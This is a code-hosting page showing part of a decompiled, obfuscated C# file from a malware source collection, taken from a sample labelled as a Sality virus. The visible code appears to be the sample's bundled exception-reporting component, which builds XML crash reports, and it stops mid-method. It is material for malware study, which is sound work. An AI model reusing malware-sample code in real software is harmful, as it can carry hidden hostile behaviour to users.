mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
1318 lines
51 KiB
C#
1318 lines
51 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
|
||
|
||
using \u0002;
|
||
using \u0003;
|
||
using \u0004;
|
||
using Microsoft.Win32;
|
||
using SmartAssembly.SmartExceptionsCore;
|
||
using System;
|
||
using System.Collections;
|
||
using System.Diagnostics;
|
||
using System.IO;
|
||
using System.Net;
|
||
using System.Reflection;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Runtime.InteropServices;
|
||
using System.Security;
|
||
using System.Security.Permissions;
|
||
using System.Text;
|
||
using System.Threading;
|
||
using System.Web.Services.Protocols;
|
||
using System.Xml;
|
||
|
||
namespace \u0003
|
||
{
|
||
internal abstract class \u0006
|
||
{
|
||
[NonSerialized]
|
||
internal static \u0001.\u0002 \u0001;
|
||
private static string \u0001;
|
||
internal static bool \u0001;
|
||
private IWebProxy \u0001;
|
||
private char[] \u0001 = new char[0];
|
||
private static \u0006 \u0001;
|
||
private Exception \u0001;
|
||
private Hashtable \u0001;
|
||
private Hashtable \u0002;
|
||
private XmlTextWriter \u0001;
|
||
private ArrayList \u0001 = new ArrayList();
|
||
private ArrayList \u0002 = new ArrayList();
|
||
private Hashtable \u0003 = new Hashtable();
|
||
private ArrayList \u0003 = new ArrayList();
|
||
private Hashtable \u0004 = new Hashtable();
|
||
private EventHandler \u0001;
|
||
private \u0004.\u0002 \u0001;
|
||
|
||
[SpecialName]
|
||
[MethodImpl(MethodImplOptions.Synchronized)]
|
||
public void \u0003([In] EventHandler obj0) => this.\u0001 = (EventHandler) \u0018\u0003.\u0014\u0004((Delegate) this.\u0001, (Delegate) obj0);
|
||
|
||
[SpecialName]
|
||
[MethodImpl(MethodImplOptions.Synchronized)]
|
||
public void \u0003([In] \u0004.\u0002 obj0) => this.\u0001 = (\u0004.\u0002) \u0018\u0003.\u0014\u0004((Delegate) this.\u0001, (Delegate) obj0);
|
||
|
||
protected abstract void \u0003([In] \u0005.\u0002 obj0);
|
||
|
||
protected abstract void \u0003([In] \u0004.\u0005 obj0);
|
||
|
||
protected abstract void \u0003([In] \u0004.\u0004 obj0);
|
||
|
||
[SecurityPermission(SecurityAction.Demand, UnmanagedCode = true)]
|
||
public static void \u0003([In] \u0006 obj0)
|
||
{
|
||
if (obj0 == null)
|
||
return;
|
||
\u0006.\u0001 = obj0;
|
||
\u008C\u0005.\u007E\u001F\u0004((object) \u0099\u0003.\u001D\u0004(), new UnhandledExceptionEventHandler(obj0.\u0003));
|
||
\u007F\u0003.\u001F(new ThreadExceptionEventHandler(obj0.\u0003));
|
||
}
|
||
|
||
[SpecialName]
|
||
public char[] \u0003()
|
||
{
|
||
string str;
|
||
if (this.\u0001.Length == 0 && (str = \u0003\u0006.\u007E\u008F\u0003((object) \u0006.\u0001(1019))) != null)
|
||
{
|
||
if (!\u0008\u0003.\u0081\u0003(str, \u0006.\u0001(1032)))
|
||
{
|
||
if (\u0008\u0003.\u0081\u0003(str, \u0006.\u0001(1019)))
|
||
this.\u0001 = new char[58]
|
||
{
|
||
'\u0001',
|
||
'\u0002',
|
||
'\u0003',
|
||
'\u0004',
|
||
'\u0005',
|
||
'\u0006',
|
||
'\a',
|
||
'\b',
|
||
'\u000E',
|
||
'\u000F',
|
||
'\u0010',
|
||
'\u0011',
|
||
'\u0012',
|
||
'\u0013',
|
||
'\u0014',
|
||
'\u0015',
|
||
'\u0016',
|
||
'\u0017',
|
||
'\u0018',
|
||
'\u0019',
|
||
'\u001A',
|
||
'\u001B',
|
||
'\u001C',
|
||
'\u001D',
|
||
'\u001E',
|
||
'\u001F',
|
||
'\u007F',
|
||
'\u0080',
|
||
'\u0081',
|
||
'\u0082',
|
||
'\u0083',
|
||
'\u0084',
|
||
'\u0086',
|
||
'\u0087',
|
||
'\u0088',
|
||
'\u0089',
|
||
'\u008A',
|
||
'\u008B',
|
||
'\u008C',
|
||
'\u008D',
|
||
'\u008E',
|
||
'\u008F',
|
||
'\u0090',
|
||
'\u0091',
|
||
'\u0092',
|
||
'\u0093',
|
||
'\u0094',
|
||
'\u0095',
|
||
'\u0096',
|
||
'\u0097',
|
||
'\u0098',
|
||
'\u0099',
|
||
'\u009A',
|
||
'\u009B',
|
||
'\u009C',
|
||
'\u009D',
|
||
'\u009E',
|
||
'\u009F'
|
||
};
|
||
}
|
||
else
|
||
this.\u0001 = new char[62]
|
||
{
|
||
'a',
|
||
'b',
|
||
'c',
|
||
'd',
|
||
'e',
|
||
'f',
|
||
'g',
|
||
'h',
|
||
'i',
|
||
'j',
|
||
'k',
|
||
'l',
|
||
'm',
|
||
'n',
|
||
'o',
|
||
'p',
|
||
'q',
|
||
'r',
|
||
's',
|
||
't',
|
||
'u',
|
||
'v',
|
||
'w',
|
||
'x',
|
||
'y',
|
||
'z',
|
||
'A',
|
||
'B',
|
||
'C',
|
||
'D',
|
||
'E',
|
||
'F',
|
||
'G',
|
||
'H',
|
||
'I',
|
||
'J',
|
||
'K',
|
||
'L',
|
||
'M',
|
||
'N',
|
||
'O',
|
||
'P',
|
||
'Q',
|
||
'R',
|
||
'S',
|
||
'T',
|
||
'U',
|
||
'V',
|
||
'W',
|
||
'X',
|
||
'Y',
|
||
'Z',
|
||
'0',
|
||
'1',
|
||
'2',
|
||
'3',
|
||
'4',
|
||
'5',
|
||
'6',
|
||
'7',
|
||
'8',
|
||
'9'
|
||
};
|
||
}
|
||
return this.\u0001;
|
||
}
|
||
|
||
public static void \u0003([In] Exception obj0, [In] object[] obj1)
|
||
{
|
||
try
|
||
{
|
||
if (obj0 != null && obj0 is SecurityException && \u0008\u0003.\u0081\u0003(\u0006.\u0001, \u0006.\u0001(1041)) && \u0006.\u0001.\u0003((SecurityException) obj0))
|
||
return;
|
||
\u0006.\u0001.\u0003(UnhandledException.\u0003(obj0, obj1), false);
|
||
}
|
||
catch
|
||
{
|
||
\u0016\u0005.\u007F();
|
||
}
|
||
}
|
||
|
||
public static Exception \u0003([In] Exception obj0, [In] object[] obj1)
|
||
{
|
||
\u0006.\u0004(obj0, obj1);
|
||
return (Exception) new SoapException(\u0003\u0006.\u007E\u0001\u0004((object) obj0), SoapException.ServerFaultCode);
|
||
}
|
||
|
||
public static void \u0004([In] Exception obj0, [In] object[] obj1)
|
||
{
|
||
try
|
||
{
|
||
if (\u0006.\u0001 == null)
|
||
{
|
||
foreach (Type type in \u0091\u0003.\u007E\u001B\u0006((object) \u0003\u0003.\u0082\u0006()))
|
||
{
|
||
if ((object) type != null && (object) \u0011\u0004.\u007E\u0016\u0005((object) type) != null)
|
||
{
|
||
// ISSUE: type reference
|
||
if ((object) \u0011\u0004.\u007E\u0016\u0005((object) type) == (object) \u0084\u0003.\u0012\u0005(__typeref (\u0006)))
|
||
{
|
||
try
|
||
{
|
||
\u0006.\u0001 = (\u0006) \u008D\u0002.\u0016\u0004(type, true);
|
||
if (\u0006.\u0001 != null)
|
||
break;
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
if (\u0006.\u0001 == null)
|
||
return;
|
||
\u0006.\u0001.\u0003(UnhandledException.\u0003(obj0, obj1), true);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
|
||
private void \u0003([In] object obj0, [In] ThreadExceptionEventArgs obj1)
|
||
{
|
||
try
|
||
{
|
||
if (\u001B\u0004.\u007E\u001A\u0008((object) obj1) is SecurityException && \u0008\u0003.\u0081\u0003(\u0006.\u0001, \u0006.\u0001(1041)) && this.\u0003(\u001B\u0004.\u007E\u001A\u0008((object) obj1) as SecurityException))
|
||
return;
|
||
this.\u0003(\u001B\u0004.\u007E\u001A\u0008((object) obj1), true);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
|
||
private void \u0003([In] object obj0, [In] UnhandledExceptionEventArgs obj1)
|
||
{
|
||
try
|
||
{
|
||
if (\u0010\u0005.\u007E\u008C\u0005((object) obj1) is SecurityException && \u0008\u0003.\u0081\u0003(\u0006.\u0001, \u0006.\u0001(1041)) && this.\u0003(\u0010\u0005.\u007E\u008C\u0005((object) obj1) as SecurityException) || !(\u0010\u0005.\u007E\u008C\u0005((object) obj1) is Exception))
|
||
return;
|
||
this.\u0003((Exception) \u0010\u0005.\u007E\u008C\u0005((object) obj1), !\u009E\u0005.\u007E\u008D\u0005((object) obj1));
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
|
||
private string \u0003([In] object obj0)
|
||
{
|
||
try
|
||
{
|
||
if (obj0 == null)
|
||
return string.Empty;
|
||
if (obj0 is int num1)
|
||
return num1.ToString(\u0006.\u0001(1046));
|
||
switch (obj0)
|
||
{
|
||
case long num2:
|
||
return num2.ToString(\u0006.\u0001(1046));
|
||
case short num3:
|
||
return num3.ToString(\u0006.\u0001(1046));
|
||
case uint num4:
|
||
return num4.ToString(\u0006.\u0001(1046));
|
||
case ulong num5:
|
||
return num5.ToString(\u0006.\u0001(1046));
|
||
case ushort num6:
|
||
return num6.ToString(\u0006.\u0001(1046));
|
||
case byte num7:
|
||
return num7.ToString(\u0006.\u0001(1046));
|
||
case sbyte num8:
|
||
return num8.ToString(\u0006.\u0001(1046));
|
||
case IntPtr num9:
|
||
return num9.ToInt64().ToString(\u0006.\u0001(1046));
|
||
case UIntPtr num10:
|
||
return num10.ToUInt64().ToString(\u0006.\u0001(1046));
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
return string.Empty;
|
||
}
|
||
|
||
private string \u0003([In] string obj0) => \u0087\u0003.\u007E\u008D\u0003((object) obj0, \u0006.\u0001(1051)) && \u0087\u0003.\u007E\u0089\u0003((object) obj0, \u0006.\u0001(1072)) ? \u0006.\u0001(1093) : obj0;
|
||
|
||
private void \u0003([In] object obj0, [In] FieldInfo obj1)
|
||
{
|
||
string str1 = (object) obj1 == null ? (string) null : \u0003\u0006.\u007E\u0007\u0005((object) obj1);
|
||
string str2 = (object) obj1 == null ? \u0006.\u0001(1175) : \u0006.\u0001(1166);
|
||
if (obj0 == null)
|
||
{
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, str2);
|
||
if ((object) obj1 != null)
|
||
{
|
||
if (\u009E\u0005.\u007E\u0096\u0006((object) obj1))
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1184), \u0006.\u0001(1041));
|
||
Type type = \u0011\u0004.\u007E\u0093\u0006((object) obj1);
|
||
if ((object) type != null && \u009E\u0005.\u007E\u0082\u0005((object) type))
|
||
{
|
||
this.\u0003(\u0011\u0004.\u007E\u0083\u0005((object) type));
|
||
if (\u009E\u0005.\u007E\u007F\u0005((object) type))
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1193), \u0006.\u0001(1041));
|
||
if (\u009E\u0005.\u007E\u0080\u0005((object) type))
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1202), \u0006.\u0001(1041));
|
||
if (\u009E\u0005.\u007E\u001F\u0005((object) type))
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1215), \u008A\u0005.\u007E\u0015\u0005((object) type).ToString());
|
||
}
|
||
else
|
||
this.\u0003(type);
|
||
}
|
||
if (str1 != null)
|
||
this.\u0003(str1);
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1224), \u0006.\u0001(1041));
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
else
|
||
{
|
||
Type type = \u0011\u0004.\u007E\u0015\u0003(obj0);
|
||
string str3 = (string) null;
|
||
string str4 = (string) null;
|
||
if (obj0 is string)
|
||
str3 = \u0006.\u0001(1233);
|
||
if (str3 == null)
|
||
{
|
||
if (\u009E\u0005.\u007E\u0081\u0005((object) type) || obj0 is IntPtr || obj0 is UIntPtr)
|
||
{
|
||
str3 = \u0003\u0006.\u007E\u0013\u0005((object) type);
|
||
if (obj0 is char ch)
|
||
{
|
||
int num = (int) ch;
|
||
StringBuilder stringBuilder1 = new StringBuilder();
|
||
if (num >= 32)
|
||
{
|
||
StringBuilder stringBuilder2 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, '\'');
|
||
StringBuilder stringBuilder3 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, (char) obj0);
|
||
StringBuilder stringBuilder4 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0006.\u0001(1254));
|
||
}
|
||
StringBuilder stringBuilder5 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0006.\u0001(1259));
|
||
StringBuilder stringBuilder6 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, num.ToString(\u0006.\u0001(1046)));
|
||
StringBuilder stringBuilder7 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, ')');
|
||
str4 = \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder1);
|
||
}
|
||
if (obj0 is bool)
|
||
str4 = \u0003\u0006.\u007E\u008E\u0003((object) \u0003\u0006.\u007E\u0013\u0003(obj0));
|
||
if (str4 == null)
|
||
{
|
||
string str5 = string.Empty;
|
||
try
|
||
{
|
||
str5 = this.\u0003(obj0);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
if (\u008A\u0005.\u007E\u0084\u0003((object) str5) > 0)
|
||
{
|
||
StringBuilder stringBuilder8 = new StringBuilder();
|
||
StringBuilder stringBuilder9 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder8, \u0003\u0006.\u007E\u0013\u0003(obj0));
|
||
StringBuilder stringBuilder10 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder8, \u0006.\u0001(1264));
|
||
StringBuilder stringBuilder11 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder8, str5);
|
||
StringBuilder stringBuilder12 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder8, ')');
|
||
str4 = \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder8);
|
||
}
|
||
else
|
||
str4 = \u0003\u0006.\u007E\u0013\u0003(obj0);
|
||
}
|
||
}
|
||
else if (\u009E\u0005.\u007E\u001D\u0005((object) type) && (object) \u0093\u0004.\u007E\u0010\u0005((object) type) != (object) \u0093\u0004.\u007E\u0010\u0005((object) \u0011\u0004.\u0015\u0003((object) this)))
|
||
str3 = \u0003\u0006.\u007E\u0013\u0005((object) type);
|
||
}
|
||
if (str3 != null)
|
||
{
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, str2);
|
||
if ((object) obj1 != null && \u009E\u0005.\u007E\u0096\u0006((object) obj1))
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1184), \u0006.\u0001(1041));
|
||
this.\u0003(type);
|
||
if (str1 != null)
|
||
this.\u0003(str1);
|
||
if (\u009E\u0005.\u007E\u001E\u0005((object) type))
|
||
str4 = \u0003\u0006.\u007E\u0013\u0003(obj0);
|
||
if (obj0 is Guid)
|
||
str4 = \u0091\u0005.\u0096\u0003(\u0006.\u0001(698), \u0003\u0006.\u007E\u0013\u0003(obj0), \u0006.\u0001(1273));
|
||
if (str4 == null)
|
||
str4 = \u0091\u0005.\u0096\u0003(\u0006.\u0001(1278), \u0003\u0006.\u007E\u0013\u0003(obj0), \u0006.\u0001(1278));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1283), this.\u0003(str4));
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
else
|
||
{
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, str2);
|
||
if ((object) obj1 != null && \u009E\u0005.\u007E\u0096\u0006((object) obj1))
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1184), \u0006.\u0001(1041));
|
||
int num = -1;
|
||
for (int index = 0; index < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0001); ++index)
|
||
{
|
||
try
|
||
{
|
||
if (\u0097\u0004.\u007E\u0014\u0003(\u0081\u0005.\u007E\u009B\u0005((object) this.\u0001, index), obj0))
|
||
{
|
||
num = index;
|
||
break;
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
if (num == -1)
|
||
num = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0001, obj0);
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1292), num.ToString());
|
||
if (str1 != null)
|
||
this.\u0003(str1);
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
}
|
||
}
|
||
|
||
private void \u0003([In] string obj0)
|
||
{
|
||
int num = this.\u0003(obj0);
|
||
if (num != -1)
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1297), num.ToString());
|
||
else
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1306), obj0);
|
||
}
|
||
|
||
private \u0006.\u0003 \u0003([In] Type obj0)
|
||
{
|
||
\u0006.\u0003 obj = \u0006.\u0003.\u0003();
|
||
if ((object) obj0 != null && (object) \u0092\u0003.\u007E\u001A\u0006((object) \u0008\u0005.\u007E\u0011\u0005((object) obj0), \u0006.\u0001(1315)) != null)
|
||
{
|
||
obj.\u0001 = ((\u008A\u0005.\u007E\u000E\u0005((object) obj0) & 16777215) - 1).ToString();
|
||
Assembly assembly = \u0008\u0005.\u007E\u0011\u0005((object) obj0);
|
||
obj.\u0001 = new \u0006.\u0002(\u008F\u0002.\u007E\u008C\u0006((object) \u0093\u0004.\u007E\u001D\u0006((object) assembly)).ToString(\u0006.\u0001(1376)), \u0003\u0006.\u007E\u0019\u0006((object) assembly));
|
||
}
|
||
return obj;
|
||
}
|
||
|
||
private int \u0003([In] \u0006.\u0003 obj0)
|
||
{
|
||
string str = \u0003\u0006.\u007E\u008F\u0003((object) obj0.\u0001.\u0001);
|
||
if (\u0097\u0004.\u007E\u0004\u0006((object) this.\u0004, (object) str))
|
||
return (int) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0004, (object) str);
|
||
int num = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0003, (object) obj0.\u0001);
|
||
\u0001\u0005.\u007E\u0002\u0006((object) this.\u0004, (object) str, (object) num);
|
||
return num;
|
||
}
|
||
|
||
private void \u0003([In] Type obj0)
|
||
{
|
||
if ((object) obj0 == null)
|
||
return;
|
||
try
|
||
{
|
||
\u0006.\u0003 obj = this.\u0003(obj0);
|
||
if (!obj.\u0003())
|
||
{
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1381), obj.\u0001);
|
||
int num = this.\u0003(obj);
|
||
if (num <= 0)
|
||
return;
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1394), num.ToString());
|
||
}
|
||
else
|
||
{
|
||
string str1 = \u0003\u0006.\u007E\u0013\u0005((object) obj0);
|
||
int num1;
|
||
if (\u0097\u0004.\u007E\u0004\u0006((object) this.\u0003, (object) str1))
|
||
{
|
||
num1 = (int) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0003, (object) str1);
|
||
}
|
||
else
|
||
{
|
||
StringBuilder stringBuilder1 = new StringBuilder();
|
||
string str2 = \u0003\u0006.\u007E\u008A\u0006((object) \u0095\u0004.\u007E\u0018\u0006((object) \u0008\u0005.\u007E\u0011\u0005((object) obj0)));
|
||
if (\u008A\u0005.\u007E\u0084\u0003((object) str2) > 0 && \u0008\u0003.\u0082\u0003(str2, \u0006.\u0001(1407)))
|
||
{
|
||
StringBuilder stringBuilder2 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, '[');
|
||
StringBuilder stringBuilder3 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, str2);
|
||
StringBuilder stringBuilder4 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, ']');
|
||
}
|
||
string str3 = \u0003\u0006.\u007E\u0014\u0005((object) obj0);
|
||
if (\u008A\u0005.\u007E\u0084\u0003((object) str3) > 0)
|
||
{
|
||
StringBuilder stringBuilder5 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, str3);
|
||
StringBuilder stringBuilder6 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, '.');
|
||
}
|
||
if (\u009E\u0005.\u007E\u0082\u0005((object) obj0))
|
||
obj0 = \u0011\u0004.\u007E\u0083\u0005((object) obj0);
|
||
int num2 = \u0016\u0003.\u007E\u008C\u0003((object) str1, \u0006.\u0001(1420));
|
||
if (num2 > 0)
|
||
{
|
||
string str4 = \u0097\u0002.\u007E\u0091\u0003((object) \u0098\u0004.\u007E\u0088\u0003((object) str1, \u008A\u0005.\u007E\u0084\u0003((object) str3) + 1, num2 - \u008A\u0005.\u007E\u0084\u0003((object) str3)), \u0006.\u0001(1420), \u0006.\u0001(1425));
|
||
StringBuilder stringBuilder7 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, str4);
|
||
}
|
||
StringBuilder stringBuilder8 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0003\u0006.\u007E\u0007\u0005((object) obj0));
|
||
num1 = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0002, (object) \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder1));
|
||
\u0001\u0005.\u007E\u0002\u0006((object) this.\u0003, (object) str1, (object) num1);
|
||
}
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1430), num1.ToString());
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
|
||
private int \u0003([In] string obj0)
|
||
{
|
||
try
|
||
{
|
||
bool flag1 = this.\u0003()[0] == '\u0001';
|
||
if (obj0 == null || \u008A\u0005.\u007E\u0084\u0003((object) obj0) == 0 || flag1 && \u008A\u0005.\u007E\u0084\u0003((object) obj0) > 4 || !flag1 && \u009E\u0004.\u007E\u0083\u0003((object) obj0, 0) != '#')
|
||
return -1;
|
||
int num = 0;
|
||
for (int index1 = \u008A\u0005.\u007E\u0084\u0003((object) obj0) - 1; index1 >= 0 && (flag1 || index1 != 0); --index1)
|
||
{
|
||
char ch = \u009E\u0004.\u007E\u0083\u0003((object) obj0, index1);
|
||
bool flag2 = false;
|
||
for (int index2 = 0; index2 < this.\u0003().Length; ++index2)
|
||
{
|
||
if ((int) this.\u0003()[index2] == (int) ch)
|
||
{
|
||
num = num * this.\u0003().Length + index2;
|
||
flag2 = true;
|
||
break;
|
||
}
|
||
}
|
||
if (!flag2)
|
||
return -1;
|
||
}
|
||
return num;
|
||
}
|
||
catch
|
||
{
|
||
return -1;
|
||
}
|
||
}
|
||
|
||
protected virtual Guid \u0003() => Guid.Empty;
|
||
|
||
private string \u0003()
|
||
{
|
||
try
|
||
{
|
||
return \u009E\u0003.\u001D();
|
||
}
|
||
catch
|
||
{
|
||
return \u0006.\u0001(1443);
|
||
}
|
||
}
|
||
|
||
private Assembly[] \u0003()
|
||
{
|
||
try
|
||
{
|
||
return \u009A\u0002.\u007E\u001E\u0004((object) \u0099\u0003.\u001D\u0004());
|
||
}
|
||
catch
|
||
{
|
||
return new Assembly[1]{ this.\u0003() };
|
||
}
|
||
}
|
||
|
||
private Assembly \u0003()
|
||
{
|
||
try
|
||
{
|
||
return \u0003\u0003.\u0082\u0006();
|
||
}
|
||
catch
|
||
{
|
||
return (Assembly) null;
|
||
}
|
||
}
|
||
|
||
private byte[] \u0003([In] string obj0)
|
||
{
|
||
MemoryStream w = new MemoryStream();
|
||
this.\u0001 = new XmlTextWriter((Stream) w, (Encoding) new UTF8Encoding(false));
|
||
\u0087\u0005.\u007E\u0010((object) this.\u0001);
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1448));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1481), \u0003\u0006.\u007E\u008F\u0003((object) \u0006.\u0001(1498)));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1551), \u0002\u0006.\u000F\u0004().ToString(\u0006.\u0001(1564)));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1569), this.\u0003());
|
||
Guid guid = this.\u0003();
|
||
if (\u001B\u0003.\u0094\u0004(guid, Guid.Empty))
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1578), guid.ToString(\u0006.\u0001(1376)));
|
||
if (\u008A\u0005.\u007E\u0084\u0003((object) obj0) > 0)
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1587), obj0);
|
||
if (\u008A\u0005.\u007E\u009A\u0005((object) this.\u0003) > 0)
|
||
\u0087\u0005.\u007E\u009D\u0005((object) this.\u0003);
|
||
int num1 = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0003, (object) new \u0006.\u0002(\u0006.\u0001(1498), string.Empty));
|
||
if (\u008A\u0005.\u007E\u0007\u0006((object) this.\u0004) > 0)
|
||
\u0087\u0005.\u007E\u0003\u0006((object) this.\u0004);
|
||
\u0001\u0005.\u007E\u0002\u0006((object) this.\u0004, (object) \u0006.\u0001(1498), (object) 0);
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1600));
|
||
Assembly assembly1 = this.\u0003();
|
||
foreach (Assembly assembly2 in this.\u0003())
|
||
{
|
||
if ((object) assembly2 != null)
|
||
{
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1394));
|
||
try
|
||
{
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1306), \u0003\u0006.\u007E\u0019\u0006((object) assembly2));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1617), \u0003\u0006.\u007E\u0017\u0006((object) assembly2));
|
||
if ((object) assembly2 == (object) assembly1)
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1630), \u0006.\u0001(1041));
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1639));
|
||
if (this.\u0001 != null && \u008A\u0005.\u007E\u0007\u0006((object) this.\u0001) > 0)
|
||
{
|
||
IEnumerator enumerator = \u0083\u0004.\u007E\u0016\u0003((object) \u0015\u0005.\u007E\u0006\u0006((object) this.\u0001));
|
||
try
|
||
{
|
||
while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator))
|
||
{
|
||
string str1 = (string) \u0010\u0005.\u007E\u001E\u0003((object) enumerator);
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1664));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1306), str1);
|
||
string str2 = (string) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0001, (object) str1);
|
||
if (str2 == null)
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1224), \u0006.\u0001(1041));
|
||
else
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1283), \u0091\u0005.\u0096\u0003(\u0006.\u0001(1278), str2, \u0006.\u0001(1278)));
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
}
|
||
finally
|
||
{
|
||
if (enumerator is IDisposable disposable)
|
||
\u0087\u0005.\u007E\u001F\u0003((object) disposable);
|
||
}
|
||
}
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
if (this.\u0002 != null && \u008A\u0005.\u007E\u0007\u0006((object) this.\u0002) > 0)
|
||
{
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1685));
|
||
IEnumerator enumerator = \u0083\u0004.\u007E\u0016\u0003((object) \u0015\u0005.\u007E\u0006\u0006((object) this.\u0002));
|
||
try
|
||
{
|
||
while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator))
|
||
{
|
||
string str = (string) \u0010\u0005.\u007E\u001E\u0003((object) enumerator);
|
||
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1706));
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1723), str);
|
||
\u0006.\u0001 obj = (\u0006.\u0001) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0002, (object) str);
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1728), obj.\u0001);
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1741), obj.\u0001.ToString());
|
||
if (\u008A\u0005.\u007E\u0084\u0003((object) obj.\u0003) > 0)
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1750), obj.\u0003);
|
||
else
|
||
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1759), obj.\u0002);
|
||
\u0087\u0005.\u007E\u0013((object) this.\u0001);
|
||
}
|
||
}
|
||
finally
|
||
{
|
||
if (enumerator is IDisposable disposable)
|
||
